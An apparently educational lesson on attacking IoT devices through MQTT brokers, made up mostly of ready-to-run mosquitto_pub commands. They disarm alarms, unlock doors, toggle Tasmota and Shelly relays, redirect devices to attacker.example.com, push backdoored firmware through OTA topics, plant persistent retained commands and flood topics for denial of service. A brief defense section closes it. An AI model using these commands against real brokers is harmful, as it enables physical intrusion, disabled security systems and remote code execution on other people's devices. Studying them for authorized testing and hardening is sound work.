malicious-publishing
practicalL5 β Malicious Publishing
Subscribing is passive reconnaissance. Publishing is the attack. Once you have write access to a broker β through no auth, weak credentials, or ACL misconfiguration β you can interact directly with physical devices. This lesson covers the publishing techniques and their real-world impact.
The Core Primitive
mosquitto_pub -h <broker> -p 1883 -t <topic> -m <message>
That's it. The broker routes your message to every subscriber on that topic. If a device subscribed to a command topic receives your message and acts on it, you control the device. The device cannot distinguish your message from a legitimate controller's message β MQTT has no publisher authentication, even when the broker has subscriber authentication.
Command Topic Publishing
From your topic enumeration in L3, you identified topics with command, cmnd, set, or control in the name. These are your targets.
Home Automation Targets
# Disarm an alarm system
mosquitto_pub -h <broker> -t "home/alarm/command" -m "DISARM"
# Unlock a door
mosquitto_pub -h <broker> -t "home/front_door/lock/command" -m "UNLOCK"
# Turn off a Shelly relay (smart plug/switch)
mosquitto_pub -h <broker> -t "shellies/shelly1-ABCDEF/relay/0/command" -m "off"
# Set thermostat
mosquitto_pub -h <broker> -t "home/thermostat/setpoint" -m "30"
Tasmota Command Topics
Tasmota is open-source firmware for ESP8266/ESP32 devices. It's extraordinarily common β flashed on millions of Sonoff switches, smart plugs, and sensors. Tasmota's default MQTT topic structure:
# Toggle power
mosquitto_pub -h <broker> -t "tasmota/DVES_ABCDEF/cmnd/POWER" -m "TOGGLE"
# Turn on
mosquitto_pub -h <broker> -t "tasmota/DVES_ABCDEF/cmnd/POWER" -m "ON"
# Execute a Tasmota console command
mosquitto_pub -h <broker> -t "tasmota/DVES_ABCDEF/cmnd/Backlog" -m "Restart 1"
# Change the MQTT broker it connects to (redirect to attacker-controlled broker)
mosquitto_pub -h <broker> -t "tasmota/DVES_ABCDEF/cmnd/MqttHost" -m "attacker.example.com"
The last one is significant: you can redirect a Tasmota device to a broker you control, then capture all its telemetry and issue all future commands from your infrastructure. The device change is persistent across reboots.
Shelly Device Topics
Shelly devices (popular smart plugs and dimmers) use MQTT with this structure:
# Turn relay on
mosquitto_pub -h <broker> -t "shellies/shellyplug-s-ABCDEF/relay/0/command" -m "on"
# Turn relay off
mosquitto_pub -h <broker> -t "shellies/shellyplug-s-ABCDEF/relay/0/command" -m "off"
The device ID (shellyplug-s-ABCDEF) is the last three octets of the MAC address β visible in the topic structure when you enumerate the broker.
OTA Firmware Update Poisoning
Many IoT devices accept firmware update URLs via MQTT. This is a remote code execution primitive.
# Generic OTA update topic β common pattern
mosquitto_pub -h <broker> \
-t "device/ESP32_sensor_04/update/firmware" \
-m '{"url":"http://attacker.example.com/malware.bin","version":"2.0.1"}'
The device fetches the URL and flashes the payload. If the firmware image is unsigned or signature verification is absent (common in DIY IoT and cheap commercial devices), this is arbitrary code execution.
Tasmota OTA
# Point Tasmota to attacker-controlled firmware
mosquitto_pub -h <broker> -t "tasmota/DVES_ABCDEF/cmnd/OtaUrl" \
-m "http://attacker.example.com/tasmota-backdoor.bin"
# Trigger the update
mosquitto_pub -h <broker> -t "tasmota/DVES_ABCDEF/cmnd/Upgrade" -m "1"
Two commands: set the URL, trigger the download. The device reboots into your firmware.
What to Host
The firmware URL just needs to serve a valid binary for that device's chip. For Tasmota, this means an ESP8266 or ESP32 binary. For custom firmware, it's whatever the bootloader expects.
For CTF challenges and authorized testing, the hosted binary is typically a modified version of the legitimate firmware with a beacon or flag extraction payload.
The Retained Message Attack
A retained message persists indefinitely on the broker until explicitly cleared. Publishing a malicious retained message means your payload survives your session and is delivered to any device or client that subscribes to that topic in the future.
# Publish malicious retained command β persists after you disconnect
mosquitto_pub -h <broker> -t "home/alarm/command" -r -m "DISARM"
# Device comes online later, subscribes to its command topic
# Immediately receives "DISARM" from the broker's retained message store
The -r flag sets the retain flag. The broker stores this as the current state for that topic.
Clearing a retained message requires publishing an empty payload with the retain flag:
mosquitto_pub -h <broker> -t "home/alarm/command" -r -m ""
If you want your payload to persist, the legitimate device owner would need to know to clear it. Most device operators don't monitor for unexpected retained messages.
Topic Injection
Some IoT applications construct MQTT topic strings by concatenating user-controlled input. If the input isn't sanitized, you can control the topic path.
Example vulnerable code (Node.js):
const deviceId = req.body.device_id; // user-controlled
client.publish(`devices/${deviceId}/command`, payload);
If deviceId is ../../admin/config, the resulting topic is devices/../../admin/config, which on most brokers resolves to admin/config β a topic you wouldn't normally have write access to from the application's intended path.
This is analogous to path traversal but in topic namespace. Test by injecting ../, #, + into any field that becomes part of a topic string.
Timing Attacks: Publishing When No Legitimate Publisher is Active
Legitimate controllers and devices publish on regular intervals. If you've monitored the broker, you know when each device typically publishes. Publishing between legitimate messages reduces the chance of your message being overwritten by the real device.
More importantly: command topics are often not published by devices themselves but by controllers (a smartphone app, a home automation hub). If the controller is offline or disconnected, your published commands face no competition.
# Monitor to establish baseline timing
mosquitto_sub -h <broker> -t "home/alarm/command" -v &
# Watch the output β note intervals between legitimate publishes
# Publish in the gap
mosquitto_pub -h <broker> -t "home/alarm/command" -m "DISARM"
Denial of Service via Topic Flooding
MQTT brokers process every message they receive. Flooding a topic forces the broker to route every message to all subscribers on that topic. Devices subscribed to the flooded topic may be unable to process messages fast enough, causing queue overflow and dropped legitimate messages.
# Flood a command topic β device can't process legitimate commands
while true; do
mosquitto_pub -h <broker> -t "device/sensor_01/command" -m "$(head -c 65535 /dev/urandom | base64)"
done
This is a denial-of-service, not device control. Use case: disable a device's ability to receive legitimate commands during an attack window. This is destructive β only on authorized targets.
Real Device Impact Summary
| Device | Attack Topic | Payload | Impact |
|---|---|---|---|
| Tasmota (any) | cmnd/POWER |
ON/OFF |
Toggle relay |
| Tasmota (any) | cmnd/MqttHost |
attacker.com |
Redirect to attacker broker |
| Tasmota (any) | cmnd/OtaUrl + cmnd/Upgrade |
URL + 1 |
Remote code execution |
| Shelly Plug | relay/0/command |
on/off |
Toggle power outlet |
| Generic alarm | alarm/command |
DISARM |
Disable security system |
| Generic lock | lock/command |
UNLOCK |
Open physical lock |
| Generic OTA | update/firmware |
JSON with URL | Remote code execution |
Defense Context
Understanding the attack informs the defense:
- No auth = no topic restrictions β broker-level auth is mandatory, not optional
- ACL must be explicit β deny-by-default, allow specific users to specific topics only
- Command topics need publisher authentication β some platforms support per-topic publisher whitelists
- Firmware updates need signed images β URL acceptance alone is insufficient; the binary must be cryptographically verified before flashing
- Monitor for unexpected publishes β a broker processing commands from unknown client IDs is a detection signal
- Retained messages need a TTL strategy β no MQTT specification for expiry, but cleanup routines prevent accumulation of stale data
Key Takeaways
- Publishing to a command topic sends instructions directly to physical devices with no per-message authentication
- OTA update topics are remote code execution primitives if image signing is absent
- Retained malicious messages persist after you disconnect and are delivered to devices that connect later
- Tasmota's
MqttHostcommand can redirect a device to an attacker-controlled broker permanently - MQTT has no publisher authentication β a broker cannot tell who sent a message once it's accepted the connection